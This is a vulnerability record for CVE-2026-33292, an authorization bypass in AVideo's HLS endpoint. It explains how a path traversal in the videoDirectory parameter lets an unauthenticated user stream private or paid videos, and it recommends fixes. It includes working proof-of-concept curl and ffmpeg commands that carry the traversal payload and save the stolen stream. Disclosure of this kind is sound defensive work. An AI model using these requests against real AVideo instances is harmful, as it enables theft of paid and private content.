{"id":"CVE-2026-33292","aliases":["GHSA-pw4v-x838-w5pg"],"url":"https://o3.security/vulnerability/CVE-2026-33292","summary":"AVideo has Authorization Bypass via Path Traversal in HLS Endpoint Allows Streaming Private/Paid Videos","details":"## Summary\n\nThe HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths — one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) — creating a split-oracle condition where authorization is checked against one video while content is served from another.\n\n## Details\n\nThe vulnerability is a split-oracle between the authorization lookup and the filesystem path construction. When `hls.php` receives a request, it processes `$_GET['videoDirectory']` through two independent functions that interpret the input differently.\n\n**Step 1 — Authorization lookup truncates at first path segment** (`objects/video.php:1685-1688`):\n\n```php\npublic static function getVideoFromFileName($fileName, $ignoreGroup = false, $ignoreTags = false)\n{\n    // ...\n    $parts = explode(\"/\", $fileName);\n    if (!empty($parts[0])) {\n        $fileName = $parts[0];  // Only takes first segment\n    }\n    $fileName = self::getCleanFilenameFromFile($fileName);\n    // ...\n    $sql = \"SELECT id FROM videos WHERE filename = ? LIMIT 1\";\n    $res = sqlDAL::readSql($sql, \"s\", [$fileName]);\n```\n\nFor input `public_video/../private_video`, `explode(\"/\", ...)` yields `[\"public_video\", \"..\", \"private_video\"]` and only `public_video` is used for the DB query. The authorization check at `hls.php:73` then runs against this public video:\n\n```php\nif (isAVideoUserAgent() || ... || User::canWatchVideo($video['id']) || ...) {\n```\n\n**Step 2 — File path construction preserves the traversal** (`objects/video.php:4622-4638`):\n\n```php\npublic static function getPathToFile($videoFilename, $createDir = false)\n{\n    $videosDir = self::getStoragePath();\n    $videoFilename = str_replace($videosDir, '', $videoFilename);\n    $paths = Video::getPaths($videoFilename, $createDir);\n    if (preg_match('/index(_offline)?.(m3u8|mp4|mp3)$/', $videoFilename)) {\n        $paths['path'] = rtrim($paths['path'], DIRECTORY_SEPARATOR);\n        $paths['path'] = rtrim($paths['path'], '/');\n        $videoFilename = str_replace($paths['relative'], '', $videoFilename);\n        $videoFilename = str_replace($paths['filename'], '', $videoFilename);\n    }\n    $newPath = addLastSlash($paths['path']) . \"{$videoFilename}\";\n    $newPath = str_replace('//', '/', $newPath);\n    return $newPath;\n}\n```\n\n`getPaths` extracts the clean filename (e.g., `public_video`) to build the base path `/videos/public_video/`. Then `str_replace($paths['filename'], '', $videoFilename)` replaces only the clean name from the full input, leaving the traversal intact: `/../private_video/index.m3u8`. The concatenation at line 4634 produces `/videos/public_video/../private_video/index.m3u8`, which the OS resolves to `/videos/private_video/index.m3u8`.\n\n**No mitigations exist in the path:**\n- `fixPath()` (`objects/functionsFile.php:1116`) only normalizes slashes, does not filter `..`\n- No `realpath()` call anywhere in the chain\n- No `..` filtering on the `videoDirectory` parameter\n- The traversal is in a query parameter, not the URL path, so web server path normalization does not apply\n\n## PoC\n\n**Prerequisites:** An AVideo instance with at least one public video (filename: `public_video`) and one private/paid video (filename: `private_video`).\n\n**Step 1 — Confirm the private video is inaccessible directly:**\n\n```bash\ncurl -s \"https://target.com/view/hls.php?videoDirectory=private_video\" \\\n  | head -5\n# Expected: \"HLS.php Can not see video [ID] (private_video) cannot watch (ID)\"\n```\n\n**Step 2 — Exploit the split-oracle to stream the private video:**\n\n```bash\ncurl -s \"https://target.com/view/hls.php?videoDirectory=public_video/../private_video\" \\\n  -H \"Accept: application/vnd.apple.mpegurl\"\n# Expected: Valid M3U8 playlist containing private_video's HLS segments\n```\n\n**Step 3 — Stream the private video content using the returned playlist:**\n\n```bash\n# The M3U8 response contains segment URLs; use ffmpeg or any HLS player:\nffmpeg -i \"https://target.com/view/hls.php?videoDirectory=public_video/../private_video\" \\\n  -c copy stolen_video.mp4\n```\n\nThe authorization check passes because it resolves `public_video` (the public video), while the file system serves `private_video`'s HLS stream.\n\n## Impact\n\n- **Any unauthenticated user** can stream any private, unlisted, or paid video on the platform by knowing or guessing its filename directory.\n- **Paid content bypass:** Monetized videos protected by pay-per-view or subscription gates can be streamed for free.\n- **Privacy violation:** Videos marked as private or restricted to specific user groups are fully accessible.\n- **Content theft at scale:** Video filenames follow predictable patterns (e.g., `video_YYYYMMDD_XXXXX`), enabling enumeration. An attacker only needs one publicly accessible video to pivot to any other video on the instance.\n- This affects all AVideo instances with at least one public video, which is the default configuration for any content platform.\n\n## Recommended Fix\n\nSanitize the `videoDirectory` parameter to reject path traversal sequences before any processing occurs. Apply this fix at the top of `view/hls.php`:\n\n```php\n// view/hls.php — after line 16, before line 17\nif (empty($_GET['videoDirectory'])) {\n    forbiddenPage(\"No directory set\");\n}\n\n// ADD: Reject path traversal attempts\n$_GET['videoDirectory'] = str_replace('\\\\', '/', $_GET['videoDirectory']);\nif (preg_match('/\\.\\./', $_GET['videoDirectory'])) {\n    forbiddenPage(\"Invalid directory\");\n}\n// Normalize: strip leading/trailing slashes, collapse multiples\n$_GET['videoDirectory'] = trim($_GET['videoDirectory'], '/');\n$_GET['videoDirectory'] = preg_replace('#/+#', '/', $_GET['videoDirectory']);\n```\n\nAdditionally, add a `realpath()` check in `getPathToFile` as defense-in-depth (`objects/video.php:4636`):\n\n```php\n$newPath = str_replace('//', '/', $newPath);\n// ADD: Verify resolved path stays within videos directory\n$realPath = realpath($newPath);\n$realVideosDir = realpath($videosDir);\nif ($realPath === false || strpos($realPath, $realVideosDir) !== 0) {\n    return false;\n}\nreturn $newPath;\n```","published":"2026-03-22T16:26:08.556Z","modified":"2026-08-12T03:51:39.164351724Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/bc034066281085af00e64b0d7b81d8a025a928c4","label":"WWBN/AVideo@bc03406"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33292.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-pw4v-x838-w5pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33292"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/bc034066281085af00e64b0d7b81d8a025a928c4"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:39.164351724Z"}}